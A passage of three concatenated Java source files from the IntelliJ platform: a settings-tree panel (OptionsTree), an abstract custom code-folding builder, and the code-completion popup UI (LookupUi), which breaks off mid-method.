import java.awt.event.KeyListener;
import java.util.*;
import java.util.List;
public class OptionsTree extends JPanel implements Disposable, OptionsEditorColleague {
Project myProject;
SimpleTree myTree;
List<ConfigurableGroup> myGroups;
FilteringTreeBuilder myBuilder;
Root myRoot;
OptionsEditorContext myContext;
Map<Configurable, EditorNode> myConfigurable2Node = new HashMap<Configurable, EditorNode>();
MergingUpdateQueue mySelection;
public OptionsTree(Project project, ConfigurableGroup[] groups, OptionsEditorContext context) {
myProject = project;
myGroups = Arrays.asList(groups);
myContext = context;
myRoot = new Root();
final SimpleTreeStructure structure = new SimpleTreeStructure() {
public Object getRootElement() {
return myRoot;
}
};
myTree = new SimpleTree() {
@Override
protected void configureUiHelper(final TreeUIHelper helper) {
helper.installToolTipHandler(this);
}
@Override
public boolean getScrollableTracksViewportWidth() {
return true;
}
};
myTree.setRowHeight(-1);
myTree.getSelectionModel().setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION);
myTree.setCellRenderer(new Renderer());
myTree.setRootVisible(false);
myTree.setShowsRootHandles(false);
myBuilder = new FilteringTreeBuilder(myProject, myTree, myContext.getFilter(), structure, new WeightBasedComparator(false)) {
@Override
protected boolean isSelectable(final Object nodeObject) {
return nodeObject instanceof EditorNode;
}
};
myBuilder.setFilteringMerge(300);
Disposer.register(this, myBuilder);
myBuilder.updateFromRoot();
setLayout(new BorderLayout());
myTree.addComponentListener(new ComponentAdapter() {
@Override
public void componentResized(final ComponentEvent e) {
revalidateTree();
}
@Override
public void componentMoved(final ComponentEvent e) {
revalidateTree();
}
@Override
public void componentShown(final ComponentEvent e) {
revalidateTree();
}
});
final JScrollPane scrolls = new JScrollPane(myTree);
scrolls.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
myTree.setBorder(new EmptyBorder(2, 2, 2, 2));
add(scrolls, BorderLayout.CENTER);
mySelection = new MergingUpdateQueue("OptionsTree", 150, false, this, this, this).setRestartTimerOnAdd(true);
myTree.getSelectionModel().addTreeSelectionListener(new TreeSelectionListener() {
public void valueChanged(final TreeSelectionEvent e) {
final TreePath path = e.getNewLeadSelectionPath();
if (path == null) {
queueSelection(null);
} else {
final Base base = extractNode(path.getLastPathComponent());
queueSelection(base != null ? base.getConfigurable() : null);
}
}
});
myTree.addKeyListener(new KeyListener() {
public void keyTyped(final KeyEvent e) {
_onTreeKeyEvent(e);
}
public void keyPressed(final KeyEvent e) {
_onTreeKeyEvent(e);
}
public void keyReleased(final KeyEvent e) {
_onTreeKeyEvent(e);
}
});
}
protected void _onTreeKeyEvent(KeyEvent e) {
final KeyStroke stroke = KeyStroke.getKeyStrokeForEvent(e);
final Object action = myTree.getInputMap().get(stroke);
if (action == null) {
onTreeKeyEvent(e);
}
}
protected void onTreeKeyEvent(KeyEvent e) {
}
ActionCallback select(@Nullable Configurable configurable) {
return queueSelection(configurable);
}
public void selectFirst() {
for (ConfigurableGroup eachGroup : myGroups) {
final Configurable[] kids = eachGroup.getConfigurables();
if (kids.length > 0) {
queueSelection(kids[0]);
return;
}
}
}
ActionCallback queueSelection(final Configurable configurable) {
final ActionCallback callback = new ActionCallback();
final Update update = new Update(this) {
public void run() {
if (configurable == null) {
myTree.getSelectionModel().clearSelection();
myContext.fireSelected(null, OptionsTree.this);
}
else {
final EditorNode editorNode = myConfigurable2Node.get(configurable);
myBuilder.select(myBuilder.getVisibleNodeFor(editorNode), new Runnable() {
public void run() {
myContext.fireSelected(configurable, OptionsTree.this);
}
});
callback.setDone();
}
}
@Override
public void setRejected() {
super.setRejected();
callback.setRejected();
}
};
mySelection.queue(update);
return callback;
}
void revalidateTree() {
myTree.invalidate();
myTree.setRowHeight(myTree.getRowHeight() == -1 ? -2 : -1);
myTree.revalidate();
myTree.repaint();
}
public JTree getTree() {
return myTree;
}
public List<Configurable> getPathToRoot(final Configurable configurable) {
final ArrayList<Configurable> path = new ArrayList<Configurable>();
EditorNode eachNode = myConfigurable2Node.get(configurable);
if (eachNode == null) return path;
while (eachNode != null) {
path.add(eachNode.getConfigurable());
final SimpleNode parent = eachNode.getParent();
if (parent instanceof EditorNode) {
eachNode = (EditorNode)parent;
} else {
break;
}
}
return path;
}
@Nullable
public Configurable getParentFor(final Configurable configurable) {
final List<Configurable> path = getPathToRoot(configurable);
if (path.size() > 1) {
return path.get(1);
} else {
return null;
}
}
public SimpleNode findNodeFor(final Configurable toSelect) {
return myConfigurable2Node.get(toSelect);
}
class Renderer extends GroupedElementsRenderer.Tree implements TreeCellRenderer {
@Override
protected void layout() {
myRendererComponent.add(mySeparatorComponent, BorderLayout.NORTH);
myRendererComponent.add(myComponent, BorderLayout.CENTER);
}
public Component getTreeCellRendererComponent(final JTree tree,
final Object value,
final boolean selected,
final boolean expanded,
final boolean leaf,
final int row,
final boolean hasFocus) {
JComponent result;
Color fg = UIUtil.getTreeTextForeground();
final Base base = extractNode(value);
if (base instanceof EditorNode) {
final EditorNode editor = (EditorNode)base;
ConfigurableGroup group = null;
if (editor.getParent() == myRoot) {
final DefaultMutableTreeNode prevValue = ((DefaultMutableTreeNode)value).getPreviousSibling();
if (prevValue == null || prevValue instanceof LoadingNode) {
group = editor.getGroup();
} else {
final Base prevBase = extractNode(prevValue);
if (prevBase instanceof EditorNode) {
final EditorNode prevEditor = (EditorNode)prevBase;
if (prevEditor.getGroup() != editor.getGroup()) {
group = editor.getGroup();
}
}
}
}
int forcedWidth = 2000;
TreePath path = tree.getPathForRow(row);
if (path == null) {
if (value instanceof DefaultMutableTreeNode) {
path = new TreePath(((DefaultMutableTreeNode)value).getPath());
}
}
final boolean toStretch = tree.isVisible() && path != null;
if (toStretch) {
final Rectangle visibleRect = tree.getVisibleRect();
int nestingLevel = tree.isRootVisible() ? path.getPathCount() - 1 : path.getPathCount() - 2;
final int left = UIManager.getInt("Tree.leftChildIndent");
final int right = UIManager.getInt("Tree.rightChildIndent");
final Insets treeInsets = tree.getInsets();
int indent = (left + right) * nestingLevel + (treeInsets != null ? treeInsets.left + treeInsets.right : 0);
forcedWidth = visibleRect.width > 0 ? visibleRect.width - indent: forcedWidth;
}
result = configureComponent(base.getText(), base.getText(), null, null, selected, group != null,
group != null ? group.getDisplayName() : null, forcedWidth);
if (base.isError()) {
fg = Color.red;
} else if (base.isModified()) {
fg = Color.blue;
}
} else {
result = configureComponent(value.toString(), null, null, null, selected, false, null, -1);
}
final Font font = myTextLabel.getFont();
myTextLabel.setFont(font.deriveFont(myContext.isHoldingFilter() ? Font.BOLD : Font.PLAIN));
myTextLabel.setForeground(selected ? UIUtil.getTreeSelectionForeground() : fg);
return result;
}
protected JComponent createItemComponent() {
myTextLabel = new ErrorLabel();
myTextLabel.setOpaque(true);
return myTextLabel;
}
}
@Nullable
private Base extractNode(Object object) {
if (object instanceof DefaultMutableTreeNode) {
final DefaultMutableTreeNode uiNode = (DefaultMutableTreeNode)object;
final Object o = uiNode.getUserObject();
if (o instanceof FilteringTreeStructure.Node) {
return (Base)((FilteringTreeStructure.Node)o).getDelegate();
}
}
return null;
}
abstract class Base extends CachingSimpleNode {
protected Base(final SimpleNode aParent) {
super(aParent);
}
String getText() {
return null;
}
boolean isModified() {
return false;
}
boolean isError() {
return false;
}
Configurable getConfigurable() {
return null;
}
}
class Root extends Base {
Root() {
super(null);
}
protected SimpleNode[] buildChildren() {
ArrayList<SimpleNode> result = new ArrayList<SimpleNode>();
for (int i = 0; i < myGroups.size(); i++) {
ConfigurableGroup eachGroup = myGroups.get(i);
result.addAll(buildGroup(eachGroup));
}
return result.toArray(new SimpleNode[result.size()]);
}
private List<EditorNode> buildGroup(final ConfigurableGroup eachGroup) {
List<EditorNode> result = new ArrayList<EditorNode>();
final Configurable[] kids = eachGroup.getConfigurables();
if (kids.length > 0) {
for (Configurable eachKid : kids) {
if (isInvisibleNode(eachKid)) {
result.addAll(OptionsTree.this.buildChildren(eachKid, this, eachGroup));
}
else {
result.add(new EditorNode(this, eachKid, eachGroup));
}
}
}
return sort(result);
}
}
private boolean isInvisibleNode(final Configurable child) {
return child instanceof SearchableConfigurable.Parent && !((SearchableConfigurable.Parent)child).isVisible();
}
private static List<EditorNode> sort(List<EditorNode> c) {
List<EditorNode> cc = new ArrayList<EditorNode>(c);
Collections.sort(cc, new Comparator<EditorNode>() {
public int compare(final EditorNode o1, final EditorNode o2) {
return o1.getConfigurable().getDisplayName().compareToIgnoreCase(o2.getConfigurable().getDisplayName());
}
});
return cc;
}
private List<EditorNode> buildChildren(final Configurable configurable, SimpleNode parent, final ConfigurableGroup group) {
if (configurable instanceof Configurable.Composite) {
final Configurable[] kids = ((Configurable.Composite)configurable).getConfigurables();
final List<EditorNode> result = new ArrayList<EditorNode>(kids.length);
for (Configurable child : kids) {
if (isInvisibleNode(child)) {
result.addAll(buildChildren(child, parent, group));
}
result.add(new EditorNode(parent, child, group));
myContext.registerKid(configurable, child);
}
return result; // TODO: DECIDE IF INNERS SHOULD BE SORTED: sort(result);
} else {
return Collections.EMPTY_LIST;
}
}
class EditorNode extends Base {
Configurable myConfigurable;
ConfigurableGroup myGroup;
EditorNode(SimpleNode parent, Configurable configurable, @Nullable ConfigurableGroup group) {
super(parent);
myConfigurable = configurable;
myGroup = group;
myConfigurable2Node.put(configurable, this);
addPlainText(configurable.getDisplayName());
}
protected EditorNode[] buildChildren() {
List<EditorNode> list = OptionsTree.this.buildChildren(myConfigurable, this, null);
return list.toArray(new EditorNode[list.size()]);
}
@Override
Configurable getConfigurable() {
return myConfigurable;
}
@Override
public int getWeight() {
if (getParent() == myRoot) {
return Integer.MAX_VALUE - myGroups.indexOf(myGroup);
} else {
return 0;
}
}
public ConfigurableGroup getGroup() {
return myGroup;
}
@Override
String getText() {
return myConfigurable.getDisplayName();
}
@Override
boolean isModified() {
return myContext.getModified().contains(myConfigurable);
}
@Override
boolean isError() {
return myContext.getErrors().containsKey(myConfigurable);
}
}
public void dispose() {
}
public void onSelected(final Configurable configurable, final Configurable oldConfigurable) {
queueSelection(configurable);
}
public void onModifiedAdded(final Configurable colleague) {
myTree.repaint();
}
public void onModifiedRemoved(final Configurable configurable) {
myTree.repaint();
}
public void onErrorsChanged() {
}
public void processTextEvent(KeyEvent e) {
myTree.processKeyEvent(e);
}
}
|
package com.intellij.lang.folding;
import com.intellij.lang.ASTNode;
import com.intellij.openapi.editor.Document;
import com.intellij.openapi.project.DumbAware;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.PsiComment;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import com.intellij.util.containers.Stack;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.ArrayList;
import java.util.List;
/**
* Builds custom folding regions. If custom folding is supported for a language, its FoldingBuilder must be inherited from this class.
*
* @author Rustam Vishnyakov
*/
public abstract class CustomFoldingBuilder extends FoldingBuilderEx implements DumbAware {
private CustomFoldingProvider myDefaultProvider;
private static final int MAX_LOOKUP_DEPTH = 10;
@NotNull
@Override
public final FoldingDescriptor[] buildFoldRegions(@NotNull PsiElement root, @NotNull Document document, boolean quick) {
List<FoldingDescriptor> descriptors = new ArrayList<FoldingDescriptor>();
if (CustomFoldingProvider.getAllProviders().length > 0) {
myDefaultProvider = null;
addCustomFoldingRegionsRecursively(null, root.getNode(), descriptors, 0);
}
buildLanguageFoldRegions(descriptors, root, document, quick);
return descriptors.toArray(new FoldingDescriptor[descriptors.size()]);
}
@NotNull
@Override
public final FoldingDescriptor[] buildFoldRegions(@NotNull ASTNode node, @NotNull Document document) {
return buildFoldRegions(node.getPsi(), document, false);
}
/**
* Implement this method to build language folding regions besides custom folding regions.
*
* @param descriptors The list of folding descriptors to store results to.
* @param root The root node for which the folding is requested.
* @param document The document for which folding is built.
* @param quick whether the result should be provided as soon as possible without reference resolving
* and complex checks.
*/
protected abstract void buildLanguageFoldRegions(@NotNull List<FoldingDescriptor> descriptors,
@NotNull PsiElement root,
@NotNull Document document,
boolean quick);
private void addCustomFoldingRegionsRecursively(@Nullable FoldingStack foldingStack,
@NotNull ASTNode node,
List<FoldingDescriptor> descriptors,
int currDepth) {
FoldingStack localFoldingStack = isCustomFoldingRoot(node) || foldingStack == null ? new FoldingStack(node) : foldingStack;
for (ASTNode child = node.getFirstChildNode(); child != null; child = child.getTreeNext()) {
if (isCustomRegionStart(child)) {
localFoldingStack.push(child);
}
else if (isCustomRegionEnd(child)) {
if (!localFoldingStack.isEmpty()) {
ASTNode startNode = localFoldingStack.pop();
int startOffset = startNode.getTextRange().getStartOffset();
TextRange range = new TextRange(startOffset, child.getTextRange().getEndOffset());
descriptors.add(new FoldingDescriptor(localFoldingStack.getOwner(), range));
}
}
else {
if (currDepth < MAX_LOOKUP_DEPTH) {
addCustomFoldingRegionsRecursively(localFoldingStack, child, descriptors, currDepth + 1);
}
}
}
}
@Override
public final String getPlaceholderText(@NotNull ASTNode node, @NotNull TextRange range) {
if (isCustomFoldingRoot(node)) {
PsiFile file = node.getPsi().getContainingFile();
PsiElement contextElement = file.findElementAt(range.getStartOffset());
if (contextElement != null && isCustomFoldingCandidate(contextElement.getNode())) {
String elementText = contextElement.getText();
CustomFoldingProvider defaultProvider = getDefaultProvider(elementText);
if (defaultProvider != null && defaultProvider.isCustomRegionStart(elementText)) {
return defaultProvider.getPlaceholderText(elementText);
}
}
}
return getLanguagePlaceholderText(node, range);
}
protected abstract String getLanguagePlaceholderText(@NotNull ASTNode node, @NotNull TextRange range);
@Override
public final String getPlaceholderText(@NotNull ASTNode node) {
return "...";
}
@Override
public final boolean isCollapsedByDefault(@NotNull ASTNode node) {
// TODO<rv>: Modify Folding API and pass here folding range.
if (isCustomFoldingRoot(node)) {
for (ASTNode child = node.getFirstChildNode(); child != null; child = child.getTreeNext()) {
if (isCustomRegionStart(child)) {
String childText = child.getText();
CustomFoldingProvider defaultProvider = getDefaultProvider(childText);
return defaultProvider != null && defaultProvider.isCollapsedByDefault(childText);
}
}
}
return isRegionCollapsedByDefault(node);
}
/**
* Returns the default collapsed state for the folding region related to the specified node.
*
* @param node the node for which the collapsed state is requested.
* @return true if the region is collapsed by default, false otherwise.
*/
protected abstract boolean isRegionCollapsedByDefault(@NotNull ASTNode node);
/**
* Returns true if the node corresponds to custom region start. The node must be a custom folding candidate and match custom folding
* start pattern.
*
* @param node The node which may contain custom region start.
* @return True if the node marks a custom region start.
*/
protected final boolean isCustomRegionStart(ASTNode node) {
if (isCustomFoldingCandidate(node)) {
String nodeText = node.getText();
CustomFoldingProvider defaultProvider = getDefaultProvider(nodeText);
return defaultProvider != null && defaultProvider.isCustomRegionStart(nodeText);
}
return false;
}
/**
* Returns true if the node corresponds to custom region end. The node must be a custom folding candidate and match custom folding
* end pattern.
*
* @param node The node which may contain custom region end
* @return True if the node marks a custom region end.
*/
protected final boolean isCustomRegionEnd(ASTNode node) {
if (isCustomFoldingCandidate(node)) {
String nodeText = node.getText();
CustomFoldingProvider defaultProvider = getDefaultProvider(nodeText);
return defaultProvider != null && defaultProvider.isCustomRegionEnd(nodeText);
}
return false;
}
@Nullable
private CustomFoldingProvider getDefaultProvider(String elementText) {
if (myDefaultProvider == null) {
for (CustomFoldingProvider provider : CustomFoldingProvider.getAllProviders()) {
if (provider.isCustomRegionStart(elementText) || provider.isCustomRegionEnd(elementText)) {
myDefaultProvider = provider;
}
}
}
return myDefaultProvider;
}
/**
* Checks if a node may contain custom folding tags. By default returns true for PsiComment but a language folding builder may override
* this method to allow only specific subtypes of comments (for example, line comments only).
* @param node The node to check.
* @return True if the node may contain custom folding tags.
*/
protected boolean isCustomFoldingCandidate(ASTNode node) {
return node.getPsi() instanceof PsiComment;
}
/**
* Checks if the node is used as custom folding root. Any custom folding elements inside the root are considered to be at the same level
* even if they are located at different levels of PSI tree. Collected folding descriptors always contain only root elements with
* appropriate ranges. The method returns true if the node has any child elements.
*
* @param node The node to check.
* @return True if the node is a root for custom foldings.
*/
protected boolean isCustomFoldingRoot(ASTNode node) {
return node.getFirstChildNode() != null;
}
private static class FoldingStack extends Stack<ASTNode> {
private ASTNode owner;
public FoldingStack(@NotNull ASTNode owner) {
super(1);
this.owner = owner;
}
@NotNull
public ASTNode getOwner() {
return this.owner;
}
}
}
|
package com.intellij.codeInsight.lookup.impl;
import com.intellij.codeInsight.CodeInsightBundle;
import com.intellij.codeInsight.CodeInsightSettings;
import com.intellij.codeInsight.completion.CodeCompletionFeatures;
import com.intellij.codeInsight.completion.ShowHideIntentionIconLookupAction;
import com.intellij.codeInsight.hint.HintManagerImpl;
import com.intellij.codeInsight.lookup.LookupElement;
import com.intellij.codeInsight.lookup.LookupElementAction;
import com.intellij.featureStatistics.FeatureUsageTracker;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeEventQueue;
import com.intellij.ide.ui.UISettings;
import com.intellij.idea.ActionsBundle;
import com.intellij.injected.editor.EditorWindow;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.actionSystem.impl.ActionButton;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.application.ModalityState;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.editor.LogicalPosition;
import com.intellij.openapi.project.DumbAwareAction;
import com.intellij.openapi.util.Disposer;
import com.intellij.openapi.util.registry.Registry;
import com.intellij.ui.ComponentUtil;
import com.intellij.ui.ScreenUtil;
import com.intellij.ui.ScrollPaneFactory;
import com.intellij.ui.components.JBLayeredPane;
import com.intellij.ui.components.JBList;
import com.intellij.ui.components.JBScrollPane;
import com.intellij.ui.components.panels.NonOpaquePanel;
import com.intellij.util.Alarm;
import com.intellij.util.PlatformIcons;
import com.intellij.util.ui.AbstractLayoutManager;
import com.intellij.util.ui.AsyncProcessIcon;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import javax.swing.*;
import javax.swing.event.ListSelectionEvent;
import javax.swing.event.ListSelectionListener;
import java.awt.*;
import java.awt.event.MouseEvent;
import java.util.Collection;
/**
* @author peter
*/
class LookupUi {
private static final Logger LOG = Logger.getInstance(LookupUi.class);
@NotNull
private final LookupImpl myLookup;
private final Advertiser myAdvertiser;
private final JBList myList;
private final ModalityState myModalityState;
private final Alarm myHintAlarm = new Alarm();
private final JScrollPane myScrollPane;
private final AsyncProcessIcon myProcessIcon = new AsyncProcessIcon("Completion progress");
private final ActionButton myMenuButton;
private final ActionButton myHintButton;
private final JComponent myBottomPanel;
private int myMaximumHeight = Integer.MAX_VALUE;
private Boolean myPositionedAbove = null;
LookupUi(@NotNull LookupImpl lookup, Advertiser advertiser, JBList list) {
myLookup = lookup;
myAdvertiser = advertiser;
myList = list;
myProcessIcon.setVisible(false);
myLookup.resort(false);
MenuAction menuAction = new MenuAction();
menuAction.add(new ChangeSortingAction());
menuAction.add(new DelegatedAction(ActionManager.getInstance().getAction(IdeActions.ACTION_QUICK_JAVADOC)){
@Override
public void update(@NotNull AnActionEvent e) {
e.getPresentation().setVisible(!CodeInsightSettings.getInstance().AUTO_POPUP_JAVADOC_INFO);
}
});
menuAction.add(new DelegatedAction(ActionManager.getInstance().getAction(IdeActions.ACTION_QUICK_IMPLEMENTATIONS)));
Presentation presentation = new Presentation();
presentation.setIcon(AllIcons.Actions.More);
presentation.putClientProperty(ActionButton.HIDE_DROPDOWN_ICON, Boolean.TRUE);
myMenuButton = new ActionButton(menuAction, presentation, ActionPlaces.EDITOR_POPUP, ActionToolbar.NAVBAR_MINIMUM_BUTTON_SIZE);
AnAction hintAction = new HintAction();
myHintButton = new ActionButton(hintAction, hintAction.getTemplatePresentation(),
ActionPlaces.EDITOR_POPUP, ActionToolbar.NAVBAR_MINIMUM_BUTTON_SIZE);
myHintButton.setVisible(false);
myBottomPanel = new NonOpaquePanel(new LookupBottomLayout());
myBottomPanel.add(myAdvertiser.getAdComponent());
myBottomPanel.add(myProcessIcon);
myBottomPanel.add(myHintButton);
myBottomPanel.add(myMenuButton);
LookupLayeredPane layeredPane = new LookupLayeredPane();
layeredPane.mainPanel.add(myBottomPanel, BorderLayout.SOUTH);
myScrollPane = ScrollPaneFactory.createScrollPane(lookup.getList(), true);
myScrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
ComponentUtil.putClientProperty(myScrollPane.getVerticalScrollBar(), JBScrollPane.IGNORE_SCROLLBAR_IN_INSETS, true);
lookup.getComponent().add(layeredPane, BorderLayout.CENTER);
layeredPane.mainPanel.add(myScrollPane, BorderLayout.CENTER);
myModalityState = ModalityState.stateForComponent(lookup.getTopLevelEditor().getComponent());
addListeners();
Disposer.register(lookup, myProcessIcon);
Disposer.register(lookup, myHintAlarm);
}
private void addListeners() {
myList.addListSelectionListener(new ListSelectionListener() {
@Override
public void valueChanged(ListSelectionEvent e) {
if (myLookup.isLookupDisposed()) return;
myHintAlarm.cancelAllRequests();
updateHint();
}
});
}
private void updateHint() {
myLookup.checkValid();
if (myHintButton.isVisible()) {
myHintButton.setVisible(false);
}
LookupElement item = myLookup.getCurrentItem();
if (item != null && item.isValid()) {
Collection<LookupElementAction> actions = myLookup.getActionsFor(item);
if (!actions.isEmpty()) {
myHintAlarm.addRequest(() -> {
if (ShowHideIntentionIconLookupAction.shouldShowLookupHint() &&
!((CompletionExtender)myList.getExpandableItemsHandler()).isShowing() &&
!myProcessIcon.isVisible()) {
myHintButton.setVisible(true);
}
}, 500, myModalityState);
}
}
}
void setCalculating(boolean calculating) {
Runnable iconUpdater = () -> {
if (calculating && myHintButton.isVisible()) {
myHintButton.setVisible(false);
}
myProcessIcon.setVisible(calculating);
ApplicationManager.getApplication().invokeLater(() -> {
if (!calculating && !myLookup.isLookupDisposed()) {
updateHint();
}
}, myModalityState);
};
if (calculating) {
myProcessIcon.resume();
} else {
myProcessIcon.suspend();
}
new Alarm(myLookup).addRequest(iconUpdater, 100, myModalityState);
}
void refreshUi(boolean selectionVisible, boolean itemsChanged, boolean reused, boolean onExplicitAction) {
Editor editor = myLookup.getTopLevelEditor();
if (editor.getComponent().getRootPane() == null || editor instanceof EditorWindow && !((EditorWindow)editor).isValid()) {
return;
}
if (myLookup.myResizePending || itemsChanged) {
myMaximumHeight = Integer.MAX_VALUE;
}
Rectangle rectangle = calculatePosition();
myMaximumHeight = rectangle.height;
if (myLookup.myResizePending || itemsChanged) {
myLookup.myResizePending = false;
myLookup.pack();
rectangle = calculatePosition();
}
HintManagerImpl.updateLocation(myLookup, editor, rectangle.getLocation());
if (reused || selectionVisible || onExplicitAction) {
myLookup.ensureSelectionVisible(false);
}
}
boolean isPositionedAboveCaret() {
return myPositionedAbove != null && myPositionedAbove.booleanValue();
}
// in layered pane coordinate system.
Rectangle calculatePosition() {
final JComponent lookupComponent = myLookup.getComponent();
Dimension dim = lookupComponent.getPreferredSize();
int lookupStart = myLookup.getLookupStart();
Editor editor = myLookup.getTopLevelEditor();
if (lookupStart < 0 || lookupStart > editor.getDocument().getTextLength()) {
LOG.error(lookupStart + "; offset=" + editor.getCaretModel().getOffset() + "; element=" +
myLookup.getPsiElement());
}
LogicalPosition pos = editor.offsetToLogicalPosition(lookupStart);
Point location = editor.logicalPositionToXY(pos);
location.y += editor.getLineHeight();
location.x -= myLookup.myCellRenderer.getTextIndent();
// extra check for other borders
final Window window = ComponentUtil.getWindow(lookupComponent);
if (window != null) {
final Point point = SwingUtilities.convertPoint(lookupComponent, 0, 0, window);
location.x -= point.x;
}
SwingUtilities.convertPointToScreen(location, editor.getContentComponent());
final Rectangle screenRectangle = ScreenUtil.getScreenRectangle(editor.getContentComponent());
if (!isPositionedAboveCaret()) {
int shiftLow = screenRectangle.y + screenRectangle.height - (location.y + dim.height);
myPositionedAbove = shiftLow < 0 && shiftLow < location.y - dim.height && location.y >= dim.height;
}
if (isPositionedAboveCaret()) {
location.y -= dim.height + editor.getLineHeight();
}
if (!screenRectangle.contains(location)) {
location = ScreenUtil.findNearestPointOnBorder(screenRectangle, location);
}
Rectangle candidate = new Rectangle(location, dim);
ScreenUtil.cropRectangleToFitTheScreen(candidate);
if (isPositionedAboveCaret()) {
// need to crop as well at bottom if lookup overlaps current line
Point caretLocation = editor.logicalPositionToXY(pos);
SwingUtilities.convertPointToScreen(caretLocation, editor.getContentComponent());
int offset = location.y + dim.height - caretLocation.y;
if (offset > 0) {
candidate.height -= offset;
}
}
JRootPane rootPane = editor.getComponent().getRootPane();
if (rootPane != null) {
SwingUtilities.convertPointFromScreen(location, rootPane.getLayeredPane());
}
else {
LOG.error("editor.disposed=" + editor.isDisposed() + "; lookup.disposed=" + myLookup.isLookupDisposed() + "; editorShowing=" + editor.getContentComponent().isShowing());
}
myMaximumHeight = candidate.height;
return new Rectangle(location.x, location.y, dim.width, candidate.height);
}
private final class LookupLayeredPane extends JBLayeredPane {
final JPanel mainPanel = new JPanel(new BorderLayout());
private LookupLayeredPane() {
mainPanel.setBackground(LookupCellRenderer.BACKGROUND_COLOR);
add(mainPanel, 0, 0);
setLayout(new AbstractLayoutManager() {
@Override
public Dimension preferredLayoutSize(@Nullable Container parent) {
int maxCellWidth = myLookup.myCellRenderer.getLookupTextWidth() + myLookup.myCellRenderer.getTextIndent();
int scrollBarWidth = myScrollPane.getVerticalScrollBar().getWidth();
int listWidth = Math.min(scrollBarWidth + maxCellWidth, UISettings.getInstance().getMaxLookupWidth());
Dimension bottomPanelSize = myBottomPanel.getPreferredSize();
int panelHeight = myScrollPane.getPreferredSize().height + bottomPanelSize.height;
int width = Math.max(listWidth, bottomPanelSize.width);
width = Math.min(width, Registry.intValue("ide.completion.max.width"));
int height = Math.min(panelHeight, myMaximumHeight);
return new Dimension(width, height);
}
@Override
public void layoutContainer(Container parent) {
Dimension size = getSize();
mainPanel.setSize(size);
mainPanel.validate();
if (IdeEventQueue.getInstance().getTrueCurrentEvent().getID() == MouseEvent.MOUSE_DRAGGED) {
Dimension preferredSize = preferredLayoutSize(null);
if (preferredSize.width != size.width) {
UISettings.getInstance().setMaxLookupWidth(Math.max(500, size.width));
}
int listHeight = myList.getLastVisibleIndex() - myList.getFirstVisibleIndex() + 1;
if (listHeight != myList.getModel().getSize() && listHeight != myList.getVisibleRowCount() && preferredSize.height != size.height) {
UISettings.getInstance().setMaxLookupListHeight(Math.max(5, listHeight));
}
}
myList.setFixedCellWidth(myScrollPane.getViewport().getWidth());
}
});
}
}
private final class HintAction extends DumbAwareAction {
private HintAction() {
super(AllIcons.Actions.IntentionBulb);
AnAction showIntentionAction = ActionManager.getInstance().getAction(IdeActions.ACTION_SHOW_INTENTION_ACTIONS);
if (showIntentionAction != null) {
copyShortcutFrom(showIntentionAction);
getTemplatePresentation().setText(CodeInsightBundle.messagePointer("action.presentation.LookupUi.text"));
}
}
@Override
public void actionPerformed(@NotNull AnActionEvent e) {
myLookup.showElementActions(e.getInputEvent());
}
}
private static final class MenuAction extends DefaultActionGroup implements HintManagerImpl.ActionToIgnore {
private MenuAction() {
setPopup(true);
}
}
private final class ChangeSortingAction extends DumbAwareAction implements HintManagerImpl.ActionToIgnore {
private ChangeSortingAction() {
super(ActionsBundle.messagePointer("action.ChangeSortingAction.text"));
}
@Override
public void actionPerformed(@NotNull AnActionEvent e) {
FeatureUsageTracker.getInstance().triggerFeatureUsed(CodeCompletionFeatures.EDITING_COMPLETION_CHANGE_SORTING);
UISettings settings = UISettings.getInstance();
settings.setSortLookupElementsLexicographically(!settings.getSortLookupElementsLexicographically());
myLookup.resort(false);
}
@Override
public void update(@NotNull AnActionEvent e) {
e.getPresentation().setIcon(UISettings.getInstance().getSortLookupElementsLexicographically() ? PlatformIcons.CHECK_ICON : null);
}
}
private static class DelegatedAction extends DumbAwareAction implements HintManagerImpl.ActionToIgnore {
private final AnAction delegateAction;
private DelegatedAction(AnAction action) {
delegateAction = action;
getTemplatePresentation().setText(delegateAction.getTemplateText(), true);
copyShortcutFrom(delegateAction);
}
@Override
public void actionPerformed(@NotNull AnActionEvent e) {
if (e.getPlace() == ActionPlaces.EDITOR_POPUP) {
delegateAction.actionPerformed(e);
}
}
}
private class LookupBottomLayout implements LayoutManager {
@Override
public void addLayoutComponent(String name, Component comp) {}
@Override
public void removeLayoutComponent(Component comp) {}
@Override
public Dimension preferredLayoutSize(Container parent) {
Dimension adSize = myAdvertiser.getAdComponent().getPreferredSize();
Dimension hintButtonSize = myHintButton.getPreferredSize();
Dimension menuButtonSize = myMenuButton.getPreferredSize();
return new Dimension(adSize.width + hintButtonSize.width + menuButtonSize.width,
Math.max(adSize.height, menuButtonSize.height));
}
@Override
public Dimension minimumLayoutSize(Container parent) {
Dimension adSize = myAdvertiser.getAdComponent().getMinimumSize();
Dimension hintButtonSize = myHintButton.getMinimumSize();
Dimension menuButtonSize = myMenuButton.getMinimumSize();
return new Dimension(adSize.width + hintButtonSize.width + menuButtonSize.width,
Math.max(adSize.height, menuButtonSize.height));
}
@Override
public void layoutContainer(Container parent) {
Dimension size = parent.getSize();
Dimension menuButtonSize = myMenuButton.getPreferredSize();
int x = size.width - menuButtonSize.width;
int y = (size.height - menuButtonSize.height) / 2;
myMenuButton.setBounds(x, y, menuButtonSize.width, menuButtonSize.height);
Dimension myHintButtonSize = myHintButton.getPreferredSize();
if (myHintButton.isVisible() && !myProcessIcon.isVisible()) {
x -= myHintButtonSize.width;
y = (size.height - myHintButtonSize.height) / 2;
myHintButton.setBounds(x, y, myHintButtonSize.width, myHintButtonSize.height);
}
else if (!myHintButton.isVisible() && myProcessIcon.isVisible()) {
Dimension myProcessIconSize = myProcessIcon.getPreferredSize();
x -= myProcessIconSize.width;
y = (size.height - myProcessIconSize.height) / 2;
myProcessIcon.setBounds(x, y, myProcessIconSize.width, myProcessIconSize.height);
}
